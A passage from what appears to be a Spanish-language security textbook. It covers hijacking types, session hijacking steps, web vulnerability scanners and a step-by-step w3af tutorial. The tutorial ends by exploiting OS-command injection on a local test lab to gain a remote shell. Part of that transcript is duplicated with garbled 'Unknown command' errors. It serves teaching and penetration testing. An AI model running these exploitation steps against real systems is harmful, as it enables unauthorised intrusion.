• Home Page Browser hijacking: secuestro de la página de inicio del navegador. Esto sucede cuando la página de inicio, en la que navegamos es cambiada por otra a interés del secuestrador. Generalmente son páginas en las que nos invita a usar los servicios de la página para que nuestro equipo esté seguro y funcione correctamente. No cabe decir que es a cambio de un pago y que el origen del error y mal funcionamiento del equipo es debido a nuestro secuestrador

• Modem hijacking: secuestro del Modem. Esta expresión es en ocasiones utilizada para referirse a la estafa de los famosos dialers que tanta guerra dieron en su día (antes del auge del ADSL) y que configuran sin el consentimiento del usuario nuevas conexiones a números de cobro extraordinario.

- 58 -

Page 59: Seguridad

SESSION HIJACKING

Cuando usted se conecta a su cuenta bancaria en línea con su nombre de usuario, password y demás, se crea una sesión entre su computadora y los servidores del banco con el tiempo o duración de la conexión (por ejemplo, 5 minutos) utilizando una cookie que permite mantener una sesión con un número de identificación propio, información del usuario, preferencias, hábitos, etc.

Pero el problema con las sesiones es que se pueden secuestrar. Por eso es que le definen un tiempo, por ejemplo 5 minutos para que al completarse los 5 minutos la conexión se cierra automáticamente para que usted tenga que ingresar nuevamente (por motivos de seguridad) su nombre de usuario y password y le sale un mensaje diciéndole que su sesión a expirado. Seguramente ya le habrá sucedido en varias ocasiones.

Si una sesión es secuestrada y esa sesión dura mucho tiempo , mucho más tiempo tendra el atacante para hacerse pasar por usted.

Las sesiones de los sistemas deben estar limitadas a un periodo de 3 a 5 minutos de inactividad. Transcurrido este tiempo, la sesión debe

expirar.

Esto no lo digo para que se asuste y deje de usar su cuenta online. Los bancos hoy en día tienen altas medidas de seguridad en internet, de hecho son los sitios más difíciles o casi imposibles de vulnerar y si lo atrapan puede ser condenado hasta con 30 años de prisión, dependiendo del pais en el que se haya cometido el ilícito.

- 59 -

Page 60: Seguridad

¿Qué es el secuestro de sesiones? El secuestro de las sesiones es tomar el control sobre una sesión TCP que está siendo intercambiada entre 2 computadoras (cliente/servidor). Esto se lleva a cabo mediante la implementación de un sniffer como Wireshark para lograr un ataque “man-in-the-middle” y de esa forma capturar la información de la sesión.

El atacante necesita que el usuario legítimo haga una conexión y una autentificación (login) para poder tomar el control de la sesión existente.

Pasos para secuestrar una sesión web1. El atacante debe situarse entre la víctima y el objetivo (cliente/servidor) y tener la

habilidad de realizar sniffing en la red (lo que normalmente se conoce como un ataque “man-in-the-middle”)

2. Monitorear el flujo de paquetes3. Capturar la sesión de la víctima4. Tomar el control de la sesión

- 60 -

Page 61: Seguridad

VULNERABILIDADES EN APLICACIONES WEB

Una de los principales motivos causales de ataques sobre nuestros servidores son las vulneravilidades que poseen nuestras aplicaciones web o peor aún cuando nuestros servidores están mal configurados o poseen mal seteados los permisos.

Estas son algunas de las aplicaciones web para explotar vulnerabilidades

• w3af: Un proyecto basado en un framework completamente extensible mediante plugins, el cual ya incluye una gran cantidad en su sitio que manejan distintos tipos de detecciones, auditorias, ataques por fuerza bruta, etc. También open source y creado en Python. (http://w3af.sourceforge.net/)

• Grabber: Su creador lo define como un webscanner muy sencillo y simple, pero aún así es capaz de detectar inyecciones SQL, Cross-Site Scripting, y analizar código Javascript. Básicamente se trata de un script en Python, por lo que requiere Python 2.4, además de los paquetes BeautifulSoup y PyXML. Por ende también es plausible de correr en cualquier sistema que tenga soporte para este lenguaje. (http://rgaucher.info/beta/grabber/)

• Nikto: Además de ser open source, Nikto afirma detectar alrededor de 3500 archivos potencialmente peligrosos, las versiones de 900 servidores, y problemas específicos en 250 versiones diferentes. En este caso se compone de un script creado en Perl, por lo que también puede ejecutarse en cualquier sistema operativo que tenga instalado el soporte para este lenguaje. (http://cirt.net/nikto2)

• Wapiti: Otro proyecto open source, capaz de escanear por inyecciones en bases de datos, Cross Site Scripting, inyección LDAP y ejecuciones de comandos entre otros. También creado en Python. (http://wapiti.sourceforge.net/)

• SPIKE Proxy: Aplicación open source creada por la compañía Immunity, también bajo el lenguaje Python, que cubre lo básico como inyección SQL y Cross-Site Scripting. (http://www.immunitysec.com/resources-freesoftware.shtml)

• OWASP Pantera Web Assessment Studio Project: Basado en SPIKE Proxy, este proyecto lo mejora para convertirse en una herramienta de penetration testing, capaz de generar reportes, soportar plugins, y diversas utilidades incorporadas como anti-IDS, fuzzing, web spider, brute force y escnaneo de cgi. (http://www.owasp.org/index.php/Category:OWASP_Pantera_Web_Assessment_Studio_Project)

• Sandcat: Permite realizar alrededor de 260 comprobaciones de seguridad, cubriendo 38 tipos de ataques vía web. También escanea los sitios contra los ranking de vulnerabilidades más populares, extraídos de las listas SANS Top Twenty, OWASP Top 10, y OWASP PHP Top 5. Además, provee un módulo para asistir en la securización de Apache y un analizador de logs para analizar los registros del servidor si ya fue atacado. Posee dos versiones, una gratuita y una paga, agregando esta última actualizaciones automáticas, resumen de sesión, generador de reportes e

- 61 -

Page 62: Seguridad

información completa sobre las vulnerabilidades. (http://www.syhunt.com/?section=sandcat)

• Paros: Una herramienta gratuita multiplataforma realizada en Java, la cual tiene funciones de escáner y proxy y también permite incorporar plugins. Al igual que las demás, está preparada para realizar detecciones de inyecciones SQL, Cross-Site Scripting, y vulnerabilidades específicas de servidores. (http://parosproxy.org/)

• OWASP WebScarab Project: Otro proxy que permite analizar tráfico e interceptarlo para detectar inyecciones SQL y demás. De código abierto y escrito en Java. (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project)

Si queremos conocer aún más opciones en analizadores de vulnerabilidades para aplicaciones web podemos recurrir a la lista de escáners de vulnerabilidades de aplicaciones web del NIST ingresando a http://samate.nist.gov/index.php/Web_Application_Vulnerability_Scanners

- 62 -

Page 63: Seguridad

3W AF

w3af se trata de un framework que permite realizar diferentes tipos de pruebas contra aplicaciones web para determinar que vulnerabilidades puede tener dicha aplicación detallando niveles de criticidad en función al impacto que puedan llegar a tener estas sobre la infraestructura web o sobre sus clientes, en algunos casos se ha dicho que este framework es “El metasploit para aplicaciones web” dado que se trata de un framework bastante completo y con unas capacidades que difícilmente se encuentran en otras herramientas de la misma índole (open source o comerciales).

Por otro lado, se trata de un framework libre, licenciado bajo la GNU/GPLv2 lo que quiere decir que su código se encuentra disponible al publico, ademas de que se puede usar, modificar y redistribuir si es lo que le interesa al usuario.

Instalación de w3af via repositorioPara instalar w3af, contamos con 2 mecanismos, en primer lugar en distribuciones basadas en Debian es posible descargarlo desde los repositorios oficiales, dado que se incluye como software, simplemente ejecutando:

apt-get install w3af

Instalación de w3af via subversionSi deseamos tener la última versión de la aplicación la descargamos desde su repositorio subversion utilizando el comando:

svn co https://w3af.svn.sourceforge.net/svnroot/w3af/trunk w3af

Luego de haber descargado la última versión de w3af será necesario tener algunas dependencias instaladas para conseguir que el framework pueda ser utilizado correctamente, estas dependencias son:

apt-get install python nlkt python-nltk python-lxml python-svn python-fpconst python-pygooglechart python-soappy python-openssl python-scapy python-lxml python-svn

Ahora si queremos ejecutarlo en modo grafico, se deben instalar graphviz

apt-get install graphviz

La mayoría de estas librerías se encuentran incluidas en las ultimas versiones de Debian y/o Ubuntu, sin embargo, si la instalación de alguna, da algún tipo de fallo o deben instalarse manualmente, el framework incluye todas estas librerías necesarias para ser instaladas manualmente desde el directorio extlib/

- 63 -

Page 64: Seguridad

Ejecutando w3afPara probar que w3af se encuentra correctamente configurado, basta con dirigirse al directorio donde se ha descargado el Framework y ejecutar el comando

# ./w3af_console

Si se encuentra el entorno con todas las librerías correctamente configuradas, con esto se abrirá la consola de w3af lista para recibir comandos, por otro lado para ejecutar la interfaz GTK, desde el mismo directorio ejecutar:

# ./w3af_gui

Funcionamiento de w3afLa instalación de w3af tiene ciertos requerimientos que deben ser cumplidos antes de poder utilizar este framework, sin embargo una vez se configura el entorno, utilizar esta herramienta es muy provechoso para realizar diferentes tipos de tareas relacionadas con penetración en aplicaciones web.

Para entender el funcionamiento de w3af es necesario en primer lugar, entender como se encuentra subdividido en 3 tipos de Plugins que son: Discovery (Descubrimiento), Audit (Auditoria) y Attack (Ataque). Los 3 interactuan con el fin de detectar vulnerabilidades sobre un objetivo dado y finalmente atacar dicha vulnerabilidad con el fin de inyectar un payload u obtener acceso no autorizado a los recursos del objetivo.

En la consola de w3af tenemos los siguientes comandos:w3af>>> help|-------------------------------------------------------------------------|| start | Start the scan. || plugins | Enable and configure plugins. || exploit | Exploit the vulnerability. || profiles | List and use scan profiles. || cleanup | Cleanup before starting a new scan. ||-------------------------------------------------------------------------|| http-settings | Configure the HTTP settings of the framework. || misc-settings | Configure w3af misc settings. || target | Configure the target URL. ||-------------------------------------------------------------------------|| back | Go to the previous menu. || exit | Exit w3af. || assert | Check assertion. ||-------------------------------------------------------------------------|| help | Display help. Issuing: help [command] , prints more || | specific help about "command" || version | Show w3af version information. || keys | Display key shortcuts. ||-------------------------------------------------------------------------|

w3af>>>

Las opciones tienen su descripción justo al frente, las mas interesantes en primera instancia son target, http-settings y plugins, con el fin de establecer el objetivo, definir la configuración HTTP y finalmente habilitar o desactivar plugins. Por otro lado también se cuenta con el comando back, que permite cambiar de contexto de ejecución, si por ejemplo estamos ubicados en la configuración de HTTP u otros podemos volver al contexto anterior.

Probablemente una de las razones por las que w3af es comparado con MetaSploit

- 64 -

Page 65: Seguridad

Framework es por la forma en la que se utilizan los plugins y demás opciones disponibles, ya que todas se encuentran en un único contexto con sus propias opciones de configuración, una característica que resulta bastante familiar en MetaSploit, ya que en MetaSploit, navegamos a través de exploits, payloads, auxiliaries, etc. y cada uno tiene su propio contexto y sus propias opciones de configuración.

Objetivos de w3afEn primera instancia, es necesario definir donde se encuentra localizada la aplicación web objetivo, para esto, es necesario seguir los siguientes pasos:

1. Establecer el contexto de objetivos en w3af:w3af>>> targetw3af/config:target>>> help|-------------------------------------------------------------------------|| view | List the available options and their values. || set | Set a parameter value. ||-------------------------------------------------------------------------|| back | Go to the previous menu. || exit | Exit w3af. || assert | Check assertion. ||-------------------------------------------------------------------------|w3af/config:target>>> w3af/config:target>>> view|-------------------------------------------------------------------------|| Setting | Value | Description ||-------------------------------------------------------------------------|| targetOS | unknown | Target operating system || | | (unknown/unix/windows) | | targetFramework | unknown | Target programming framework || | | (unknown/php/asp/java/jsp/cfm/ruby/perl) || target | | A comma separated list of URLs ||-------------------------------------------------------------------------|w3af/config:target>>>

2. Definir la ruta de la aplicación que será el objetivo de nuestro análisis

w3af/config:target>>> set target http://localhost/dvw

3. Opcionalmente, establecer la plataforma del objetivo y el lenguaje en el que esta escrita la aplicación web:

w3af>>> target set targetOS windowsw3af>>> target set targetFramework jsp

Como puede apreciarse, en los comandos anteriores no ha sido necesario desplazarse hasta el contexto de “target” para establecer una propiedad, sin embargo a lo largo de los siguientes pasos siempre se navegará hasta el contexto correspondiente con el fin de aclarar conceptos.

Configuraciones de w3af Las opciones generales de configuración de w3af, se dividen en dos categorías, a saber, parámetros de configuración del protocolo HTTP y parámetros de configuración de uso

- 65 -

Page 66: Seguridad

general del Framework, a continuación se su funcionamiento:

HTTP SettingsPara configurar adecuadamente estas propiedades es necesario navegar a la opción correspondiente y conocer las opciones de configuración HTTP disponibles, con esto en mente, se procede a indicar los pasos para editar estas propiedades.

1. Establecer el contexto de Configuración de protocolo HTTP.

w3af>>> http-settingsw3af/config:http-settings>>>

2. Listar las opciones de configuración disponibles.w3af/config:http-settings>>> view|-----------------------------------------------------------------------------------------------------------|| Setting | Value | Description ||-----------------------------------------------------------------------------------------------------------|| urlParameter | | Append the given URL parameter to every accessed URL. Example: || | | http://www.foobar.com/index.jsp;<parameter>?id=2 || timeout | 15 | The timeout for connections to the HTTP server || headersFile | | Set the headers filename. This file has additional headers || | | that are added to each request. ||-----------------------------------------------------------------------------------------------------------|| ignoreSessCookies | False | Ignore session cookies || cookieJarFile | | Set the cookiejar filename. ||-----------------------------------------------------------------------------------------------------------|| ntlmAuthUser | | Set the NTLM authentication username for HTTP requests || ntlmAuthPass | | Set the NTLM authentication password for HTTP requests ||-----------------------------------------------------------------------------------------------------------|| maxFileSize | 400000 | Maximum file size || userAgent | w3af.sourceforge.net | User Agent header || maxRetrys | 2 | Maximum number of retries ||-----------------------------------------------------------------------------------------------------------|| never404 | | A comma separated list that determines what URLs will NEVER be || | | detected as 404 pages. || always404 | | A comma separated list that determines what URLs will ALWAYS || | | be detected as 404 pages. || 404string | | If this string is found in an HTTP response, then it will be || | | tagged as a 404. ||-----------------------------------------------------------------------------------------------------------|| proxyPort | 8080 | Proxy TCP port || proxyAddress | | Proxy IP address ||-----------------------------------------------------------------------------------------------------------|| basicAuthUser | | Set the basic authentication username for HTTP requests |

- 66 -

Page 67: Seguridad

| basicAuthPass | | Set the basic authentication password for HTTP requests || basicAuthDomain | | Set the basic authentication domain for HTTP requests ||-----------------------------------------------------------------------------------------------------------|w3af/config:http-settings>>>

3. Estableciendo algunas propiedades de configuración HTTP

w3af/config:http-settings>>> set basicAuthDomain localhostw3af/config:http-settings>>> set basicAuthUser adminw3af/config:http-settings>>> set basicAuthPass passwordw3af/config:http-settings>>> set 404string w3af no ha encontrado el recursow3af/config:http-settings>>> set always404 /page1.html /page1.jsp /page1.asp /page1.jsfw3af/config:http-settings>>> set never404 /index.html

Evidentemente las opciones de configuración dependen directamente de la información que tengamos del objetivo, con el fin de establecer opciones personalizadas que se adapten al escaneo que se pretende realizar.

Misc SettingsSe trata de parámetros de configuración globales para determinar el funcionamiento del Framework, en especial con aquellas características del Framework que están relacionadas con la integración de herramientas externas, para configurar estas características se siguen los siguientes pasos:

1. Establecer el contexto de parámetros globales del Framework.

w3af>>> misc-settingsw3af/config:misc-settings>>>

2. Listando los parámetros de configuración globales del Framework.w3af>>> misc-settingsw3af/config:misc-settings>>> view|------------------------------------------------------------------------------------------------------------|| Setting | Value | Description ||------------------------------------------------------------------------------------------------------------|| exportFuzzableRequests | | Export all discovered fuzzable requests to the given file (CSV) ||------------------------------------------------------------------------------------------------------------|| interface | eth0 | Local interface name to use when sniffing, doing reverse connections, || | | etc. || localAddress | 10.0.2.15 | Local IP address to use when doing reverse connections ||------------------------------------------------------------------------------------------------------------|| maxDiscoveryTime | 120 | Maximum discovery time (minutes) || maxThreads | 15 | Maximum number of threads that the w3af process will spawn. Zero || | | means no threads (recommended) || autoDependencies | True | Automatic dependency enabling for plugins ||------------------------------------------------------------------------------------------------------------|| demo | False | Enable this when you are doing a demo in a conference || nonTargets | | A comma separated list of URLs that w3af should completely ignore ||---------------------------------------------------------------------------------------------------------

- 67 -

Page 68: Seguridad

---|| fuzzFormComboValues | tmb | Indicates what HTML form combo values w3af plugins will use: all, tb, || | | tmb, t, b || fuzzFCExt | txt | Indicates the extension to use when fuzzing file content || fuzzableHeaders | | A list with all fuzzable header names || fuzzCookie | False | Indicates if w3af plugins will use cookies as a fuzzable parameter || fuzzFileContent | True | Indicates if w3af plugins will send the fuzzed payload to the file || | | forms || fuzzFileName | False | Indicates if w3af plugins will send fuzzed filenames in order to find || | | vulnerabilities ||------------------------------------------------------------------------------------------------------------|

3. Estableciendo valores de configuración para los parámetros que resulten de interés.

w3af/config:misc-settings>>> set demo Truew3af/config:misc-settings>>> set msf_location /opt/metasploit3/msf3w3af/config:misc-settings>>> set maxDiscoveryTime 60

Plugins w3af Los plugins en w3af son la base del framework, ya que separa de forma lógica las 3 categorías de acciones llevadas a cabo, que son Descubrimiento, Auditoria y Explotación o Ataque, cada uno de los plugins disponibles en w3af corresponden a una de las 3 categorías anteriormente mencionadas, y cada uno de estos a su vez, tienen subplugins que pueden ser activados o desactivados dependiendo de las necesidades de la ejecución del escaneo/ataque. En este punto, los plugins que se encuentran en la jerarquía mas alta en w3af se pueden listar de la siguiente forma:w3af>>> pluginsw3af/plugins>>> help|------------------------------------------------------------------------------------------------------------|| list | List available plugins. ||------------------------------------------------------------------------------------------------------------|| back | Go to the previous menu. || exit | Exit w3af. || assert | Check assertion. ||------------------------------------------------------------------------------------------------------------|| discovery | View, configure and enable discovery plugins || bruteforce | View, configure and enable bruteforce plugins || evasion | View, configure and enable evasion plugins || audit | View, configure and enable audit plugins || grep | View, configure and enable grep plugins || output | View, configure and enable output plugins || mangle | View, configure and enable mangle plugins ||------------------------------------------------------------------------------------------------------------|w3af/plugins>>>

- 68 -

Page 69: Seguridad

Los plugins anteriores corresponden a los plugins principales contenidos en w3af, cada uno de estos puede ser configurado para activar o desactivar determinados sub-plugins que se encuentran incluidos en el plugin principal, de esta forma, se crea una estructura jerárquica de plugins que pueden ser activados y configurados de distintos modos.

La arquitectura y el flujo de información entre los plugins disponibles en w3af es el siguiente:

El funcionamiento de estos plugins se ejecuta en el siguiente orden:

1. Se ejecutan los plugins de Discovery habilitados para intentar descubrir peticiones “fuzzables”, esas son potenciales vulnerabilidades que pueden ser tomadas en cuenta luego por los plugins de Auditoria. Todos los plugins de Descubrimiento se ejecutan en ciclo constante donde cada salida de uno de ellos es enviada al siguiente, de esta forma, el procesamiento no termina hasta que todos los plugins terminan, por este motivo, en ocasiones un escaneo puede llevar horas, en especial cuando se habilitan todos. Por otro lado algunos plugins también intentan recolectar información sobre el objetivo, como por ejemplo tipo de servidor, “fingerprint” del servicio httpd, métodos HTTP, detección de load balancer en el objetivo, etc.

2. Posteriormente se ejecutan los plugins de auditoria que toman como entrada, la salida de la ejecución de los plugins de descubrimiento, el objetivo de los plugins de auditoria es recopilar la mayor cantidad de vulnerabilidades sobre el objetivo y posteriormente almacenarlas en una zona conocida como “objetos vulnerables” que posteriormente pueden ser tomados como insumo para los plugins de exploits que intentaran aprovecharlas.

3. Finalmente, se encuentran los plugins de ataque que se encargan de leer la zona de “Conocimiento Base” y obtener los objetos vulnerables almacenados por los plugins de auditoria, estos plugins intentan aprovechar dichas vulnerabilidades intentando inyectar un payload en el objetivo.

4. Los pasos anteriores son el escenario típico de un escaneo con w3af, sin embargo, estos tienen el apoyo de otros plugins que facilitan determinadas funciones que son necesarias, en esta categoría de Plugins se encuentran:1. Output: Especifica el formato de salida de los mensajes que produce la ejecución

de cada plugin.2. Mangle: Intentan modificar las peticiones y respuestas por medio de expresiones

regulares.3. Evasion: Intentan modificar las peticiones con el fin de evadir sistemas IDS

instalados en el objetivo.4. Bruteforce: Intentan ejecutar un ataque de fuerza bruta contra login.

- 69 -

Page 70: Seguridad

Navegado por los PluginsNavegar por plugins y sus configuraciones es uno de los primeros pasos que se deben realizar en orden de habilitar aquellos que resulten interesantes dependiendo del conocimiento que se tenga del objetivo y otros criterios que puedan ser también aplicables, a continuación se listan los comandos utilizados para navegar, configurar y activar/desactivar plugins.w3af>>> pluginsw3af/plugins>>> list audit|-----------------------------------------------------------------------------------------------------------|| Plugin name | Status | Conf | Description ||-----------------------------------------------------------------------------------------------------------|| LDAPi | | | Find LDAP injection bugs. || blindSqli | | Yes | Find blind SQL injection vulnerabilities. || buffOverflow | | | Find buffer overflow vulnerabilities. || dav | | | Verify if the WebDAV module is properly configured. || eval | | Yes | Find insecure eval() usage. || fileUpload | | Yes | Uploads a file and then searches for the file inside all known || | | | directories. || formatString | | | Find format string vulnerabilities. || frontpage | | Yes | Tries to upload a file using frontpage extensions (author.dll). || generic | | Yes | Find all kind of bugs without using a fixed database of errors. || globalRedirect | | | Find scripts that redirect the browser to any site. || htaccessMethods | | | Find misconfigurations in the "<LIMIT>" configuration of Apache. || localFileInclude | | | Find local file inclusion vulnerabilities. || mxInjection | | | Find MX injection vulnerabilities. || osCommanding | | | Find OS Commanding vulnerabilities. || phishingVector | | | Find phishing vectors. || preg_replace | | | Find unsafe usage of PHPs preg_replace. || redos | | | Find ReDoS vulnerabilities. || remoteFileInclude | | Yes | Find remote file inclusion vulnerabilities. || responseSplitting | | | Find response splitting vulnerabilities. || sqli | | | Find SQL injection bugs. || ssi | | | Find server side inclusion vulnerabilities. || sslCertificate | | | Check the SSL certificate validity( if https is being used ). || unSSL | | | Find out if secure content can also be fetched using http. || xpath | | | Find XPATH injection vulnerabilities. || xsrf | | | Find the easiest to exploit xsrf vulnerabilities. || xss | | Yes | Find cross site scripting vulnerabilities. || xst | | | Find Cross Site Tracing vulnerabilities. ||-----------------------------------------------------------------------------------------------------------|w3af/plugins>>>

Existen 4 columnas que corresponden a:

- 70 -

Page 71: Seguridad

1. Plugin Name: Nombre del Plugin2. Status: Estado del Plugin Activado/Desactivado.3. Conf: Indica si tiene opciones de configuración personalizadas.4. Description: Descripción del Plugin.

Consultar información sobre uno de los plugins del listado:w3af/plugins>>> help auditView, configure and enable audit pluginsSyntax: audit [config plugin | plugin1[,plugin2 ... pluginN] | desc plugin]Example1: auditResult: All enabled audit plugins are listed.

Example2: audit LDAPi,blindSqliResult: LDAPi and blindSqli are configured to run

Example3: audit config LDAPiResult: Enters to the plugin configuration menu.

Example4: audit all,!blindSqliResult: All audit plugins are configured to run except blindSqli.

Example5: audit desc LDAPiResult: You will get the plugin description.

Example6: audit LDAPi,blindSqli audit !LDAPiResult: LDAPi is disabled in the second command, only blindSqli will run.w3af/plugins>>>

Consultar la descripción de un plugin dentro de una de las categorías de plugins raíz, por ejemplo, describir el uso del plugin “dav” incluido en el plugin “audit”w3af/plugins>>> audit desc dav

This plugin finds WebDAV configuration errors. These errors are generally server configuration errors rather than a web application errors. To check for vulnerabilities of this kind, the plugin will try to PUT a file on a directory that has WebDAV enabled, if the file is uploaded successfully, then we have found a bug. w3af/plugins>>>

Activando un plugin dentro de una de las categorías de plugins principales.

w3af/plugins>>> audit xss xsrf dav

Desactivando un plugin dentro de una de las categorías de plugins principales.

w3af/plugins>>> audit !LDAPi !sslCertificate

Configurando opciones de sub-plugins:w3af/plugins>>> audit config xssw3af/plugins/audit/config:xss>>> view|-----------------------------------------------------------------------------------------------------------|| Setting | Value | Description ||-----------------------------------------------------------------------------------------------------------|| numberOfChecks | 3 | Set the amount of checks to perform for each fuzzable parameter. Valid numbers: || | | 1 to 15 || checkStored | True | Identify stored cross site scripting vulnerabilities

- 71 -

Page 72: Seguridad

||-----------------------------------------------------------------------------------------------------------|w3af/plugins/audit/config:xss>>>

Las instrucciones anteriores corresponden a los pasos que se deben llevar a cabo para configurar cualquier plugin existente en w3af, como puede apreciarse, son bastante sencillos sin embargo se requieren conocimientos avanzados sobre seguridad en aplicaciones web con el fin de establecer una configuración optima.

Profiles w3afLos profiles en w3af son simplemente configuraciones guardadas de plugins y sub-plugins habilitados, enfocados en objetivos con características especificas, frecuentemente este tipo de asociaciones se realizan en el momento de iniciar un proceso de recolección de información por medio de otras herramientas como por ejemplo, técnicas de ingeniería social, en cualquier caso, el uso de perfiles, permite habilitar solamente aquellos plugins que resultan interesantes contra un objetivo, desactivando el resto.

Establecer el contexto de perfiles:w3af>>> profiles w3af/profiles>>> list|------------------------------------------------------------------------------------------------------------|| Profile | Description ||------------------------------------------------------------------------------------------------------------|| bruteforce | Bruteforce form or basic authentication access controls using default || | credentials. To run this profile, set the target URL to the resource where the || | access control is, and then click on Start. || audit_high_risk | Perform a scan to only identify the vulnerabilities with higher risk, like SQL || | Injection, OS Commanding, Insecure File Uploads, etc. || full_audit_manual_disc | Perform a manual discovery using the spiderMan plugin, and afterwards scan the || | site for any known vulnerabilities. || full_audit | This profile performs a full audit of the target website, using only the || | webSpider plugin for discovery. || OWASP_TOP10 | The Open Web Application Security Project (OWASP) is a worldwide free and open || | community focused on improving the security of application software. OWASP || | searched for and published the ten most common security flaws. This profile || | search for this top 10 security flaws. For more information about the security || | flaws: http://www.owasp.org/index.php/OWASP_Top_Ten_Project . || fast_scan | Perform a fast scan of the target site, using only a few discovery plugins and || | the fastest audit plugins. || empty_profile | This is an empty profile that you can use to start a new configuration from. || web_infrastructure | Use all the available techniques in w3af to fingerprint the remote Web || | infrastructure. || sitemap | Use different online techniques to create a fast sitemap of the target web || | application. This plugin will only work if you've got Internet access and the || | target web application is being spidered by Yahoo!

- 72 -

Page 73: Seguridad

||------------------------------------------------------------------------------------------------------------|w3af/profiles>>>

Usando un Perfile de los listados:

w3af/profiles>>> use sitemapThe plugins configured by the scan profile have been enabled, and their options configured.Please set the target URL(s) and start the scan.w3af/profiles>>>

Exploits w3afFinalmente, una de las partes más importantes en el proceso de escaneo de vulnerabilidades, es el aprovechamiento de las mismas, es aquí donde juegan un papel importante los plugins de ataque de w3af, a continuación se explica como se pueden usar estos plugins desde la consola de w3af

1.Estableciendo el contexto de exploits:

w3af>>> exploitw3af/exploit>>>

2. Listando los plugins de ataque:w3af/exploit>>> list|------------------------------------------------------------------------------------------------------------|| Plugin | Description ||------------------------------------------------------------------------------------------------------------|| sqlmap | Exploits [blind] sql injections using sqlmap ( http://sqlmap.sf.net ). || osCommandingShell | Exploit OS Commanding vulnerabilities. || xssBeef | Exploit XSS vulnerabilities using beEF ( www.bindshell.net/tools/beef/ ) . || localFileReader | Exploit local file inclusion bugs. || rfiProxy | Exploits remote file inclusions to create a proxy server. || remoteFileIncludeShell | Exploit remote file include vulnerabilities. || davShell | Exploit web servers that have unauthenticated DAV access. || eval | Exploit eval() vulnerabilities. || fileUploadShell | Exploit applications that allow unrestricted file uploads inside the webroot. || sql_webshell | Exploits [blind] sql injections by uploading a webshell to the target webroot. ||------------------------------------------------------------------------------------------------------------|w3af/exploit>>>

3. Para explotar todas las vulnerabilidades encontradas en busca de una consola remota:

w3af/exploit>>> exploit

4. Para ejecutar un “Fast Exploit”

w3af/exploit>>> fastexploit

- 73 -

Page 74: Seguridad

Encontrando Vulnerabilidades, ejecutando ExploitsHasta ahora vimos como utilizar y configurar w3af para ejecutar pruebas de penetración contra aplicaciones web, habilitando diversos tipos de plugins y recolectando información sobre un objetivo determinado. Primero vamos a descargar un entorno de pruebas provisto por w3af. El entorno contiene una aplicaciones web con cada una de las vulnerabilidades incluidas en distintos directorios, lista para desplegar en un servidor apache, (como por ejemplo XAMPP, para pruebas es mas que suficiente), para tener la aplicación web de pruebas de w3af basta con realizar un checkout del repositorio SVN ubicado en la ruta:https://w3af.svn.sourceforge.net/svnroot/w3af/extras/testEnv/webroot/w3af/

Solamente es necesario ubicar todos estos archivos en el directorio de aplicaciones del servidor web, posteriormente, es necesario establecer determinadas configuraciones a nivel de Apache, para esto basta con ver el contenido del directorio:https://w3af.svn.sourceforge.net/svnroot/w3af/extras/testEnv/apache2config/

Donde se encuentran los módulos habilitados y las opciones de configuración adicionales.

Una vez establecido el entorno de pruebas, se puede utilizar w3af con el fin de detectar y explotar dichas vulnerabilidades, ahora a probar algunas de las vulnerabilidades incluidas en el entorno de pruebas:

Vulnerabilidades OS CommandSe trata de una vulnerabilidad que permite a un atacante ejecutar comandos de forma arbitraria en la maquina objetivo, frecuentemente ocasionada por malas practicas de programación.w3af>>> target set target http://localhost/w3af/audit/os_commanding/simple_osc.php?cmd=lsw3af>>> plugins audit osCommandingw3af>>> startThere is no point in searching yahoo site explorer for site: "localhost" . Yahoo doesnt index private pages.Found 1 URLs and 1 different points of injection.The list of URLs is:- http://localhost/w3af/audit/os_commanding/simple_osc.phpThe list of fuzzable requests is:- http://localhost/w3af/audit/os_commanding/simple_osc.php | Method: GET | Parameters: (cmd="ls")OS Commanding was found at: "http://localhost/w3af/audit/os_commanding/simple_osc.php", using HTTP method GET. The sent data was: "cmd=ping+-c+9+localhost". This vulnerability was found in the request with id 20.Finished scanning process.w3af>>> w3af>>> target set target http://localhost/w3af/audit/os_commanding/simple_osc.php?cmd=lsUnknown command 'w3af>>>'w3af>>> w3af>>> plugins audit osCommandingUnknown command 'w3af>>>'w3af>>> w3af>>> startUnknown command 'w3af>>>'w3af>>> There is no point in searching yahoo site explorer for site: "localhost" . Yahoo doesnt index private pages.Unknown command 'There'w3af>>> Found 1 URLs and 1 different points of injection.Unknown command 'Found'w3af>>> The list of URLs is:Unknown command 'The'w3af>>> - http://localhost/w3af/audit/os_commanding/simple_osc.phpUnknown command '-'w3af>>> The list of fuzzable requests is:Unknown command 'The'w3af>>> - http://localhost/w3af/audit/os_commanding/simple_osc.php | Method: GET | Parameters: (cmd="ls")Unknown command '-'

- 74 -

Page 75: Seguridad

w3af>>> OS Commanding was found at: "http://localhost/w3af/audit/os_commanding/simple_osc.php", using HTTP method GET. The sent data was: "cmd=ping+-c+9+localhost". This vulnerability was found in the request with id 20.Unknown command 'OS'w3af>>> Finished scanning process.Unknown command 'Finished'w3af>>> w3af>>> Unknown command 'w3af>>>'w3af>>> exploit exploit osCommandingShellosCommandingShell exploit plugin is starting.The vulnerability was found using method GET, tried to change the method to POST for exploiting but failed.Vulnerability successfully exploited. This is a list of available shells and proxies:- [0] <osCommandingShell object (ruser: "www-data" | rsystem: "Linux g460 2.6.32-5-686 i686 GNU/Linux")>Please use the interact command to interact with the shell objects.w3af>>> exploit interact 0Execute "endInteraction" to get out of the remote shell. Commands typed in this menu will be runned through the osCommandingShell shellw3af/exploit/osCommandingShell-0>>> lsblind_osc.phpindex.htmlparam_osc.phppassthru.phpsimple_osc.phpvulnerable.phpvulnerable2.phpw3af/exploit/osCommandingShell-0>>>

Como se ha podido apreciar la ruta http://localhost/w3af/audit/os_commanding/simple_osc.php?cmd=ls indica la vulnerabilidad incluida en el entorno de pruebas w3af, los demás comandos son básicos y se han explicado en el post anterior.

Existen muchas más vulnerabilidades que pueden emplearse con w3af.

En un entorno cercano a la realidad, lo mas frecuente con w3af es que un atacante utilice esta herramienta para “explorar” el objetivo de esta forma podrá detectar posibles vulnerabilidades que posteriormente puede aprovechar.

- 75 -

Page 76: Seguridad

EVASION DE FIREWALLS

Existen distintas técnicas que permiten conocer cuales puertos se encuentran abiertos en una máquina remota, cada una estas técnicas utilizan distintos tipos de envío de paquetes y protocolos, sin embargo, cuando una máquina remota tiene un Firewall o un IDS instalado y correctamente configurado, lo más probable es que los escaneos sean infructuosos, dado que la salida más frecuente, será precisamente ver todos los puertos bloqueados.

